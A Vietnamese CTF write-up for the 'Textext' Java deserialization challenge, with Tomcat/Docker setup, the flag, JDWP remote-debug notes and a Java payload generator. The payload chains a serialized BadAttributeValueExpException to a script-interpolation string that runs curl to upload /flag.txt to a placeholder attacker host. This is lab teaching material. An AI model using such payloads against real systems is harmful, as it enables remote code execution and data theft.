Remote debug with CTF
Set up and deploy tomcat
Download server tomcat và jdk và thêm vào src
Source code tại
https://github.com/Luk6785/CTF/blob/main/java-deser-Luk6785.zip
- Chạy docker
docker build -t textext:v1 .
docker run -d --name textext -e "CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" -p 8080:8080 -p 5005:5005 textext:v1
Write up
# Thông tin
- Tác giả: Luk6785
- Name: Textext
- Description: Đây có phải là một buổi gặp gỡ bình thường hay tiềm ẩn rủi ro nào khác? Liệu bạn có thể tìm thấy chìa khoá trước khi nó bị cướp khỏi ai đó không?
## Flag
BKSEC{Ev3_ry_dAy_a_n3w_knOw1E_dge}
## Docker
- Chạy docker-build.sh hoặc tự build bằng tay nếu có lỗi.
## Write-up
- Gọi được hàm toString() và truyền biến name hợp lý.
- Payload
```java
package com.text.controller;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.Base64;
public class testPayload implements Serializable {
public static void main(String[] args) throws IOException {
Player player = new Player();
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
String ex = "${script:javascript:java.lang.Runtime.getRuntime().exec('curl -F file=@/flag.txt https://dns_attacker')}";
try {
Field isAdmin = Player.class.getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.set(player, true);
Field name = Player.class.getDeclaredField("name");
name.setAccessible(true);
name.set(player, ex);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload, player);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(payload);
String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
objectOutputStream.close();
System.out.println(data);
}
}
Note
- Sau khi deploy docker thì chall sẽ ở http://localhost:8080/text/get-name
# Debug
- Các tham số được sử dụng trong tùy chọn **`-agentlib:jdwp`** để cấu hình debug trong môi trường Docker:
- **`transport=dt_socket`**: Xác định phương thức kết nối debug. Có thể sử dụng Socket Transport (giao tiếp qua Socket) hoặc Shared Memory Transport (giao tiếp qua bộ nhớ chia sẻ).
- **`server=y`**: Cho phép ứng dụng lắng nghe debugger để được kết nối. Trong trường hợp này, debugger sẽ là IDE (môi trường phát triển tích hợp).
- **`suspend=n`**: Không chờ cho đến khi debugger được kết nối trước khi bắt đầu chạy ứng dụng. Giá trị **`n`** (no) cho biết ứng dụng sẽ tiếp tục chạy mà không chờ đợi debugger.
- **`address=5005`**: Lắng nghe kết nối từ một socket trên cổng 5005. Đây là cổng mà chúng ta muốn cấu hình trong IDE của chúng ta để kết nối debugger.
- Vào thư mục /bin của tomcat
- JPDA(Java Platform Debugger Architecture) là một kiến trúc cho phép các công cụ gỡ lỗi và theo dõi mã Java chạy trên máy ảo Java (JVM).
- JPDA cung cấp một giao diện chung cho các công cụ gỡ lỗi và theo dõi, cho phép chúng tương tác với JVM và ứng dụng Java đang chạy trên nó. Các công cụ gỡ lỗi và theo dõi sử dụng JPDA để gửi yêu cầu và nhận thông tin từ JVM, bao gồm các thao tác như chạy mã, tạm dừng, tiếp tục, chặn và xem thông tin về các biến, stack trace và thông tin khác liên quan đến quá trình thực thi của ứng dụng Java.
- Chạy [catalina.sh](<http://catalina.sh>) configtest để kiểm tra các tham số CATALINA_BASE, CATALINA_HOME, JRE_HOME.
- Một số tham số cần để ý để sửa cổng debug hay options khác
-
![Untitled](<https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4a0563c0-9037-489d-882f-200f2318cf31/Untitled.png>)
- Chạy debug
```jsx
catalina.sh jpda start
Setup tại IDEA Intelij
Đặt breakpoint và debug nhớ add các lib, jre, jdk phù hợp vào module.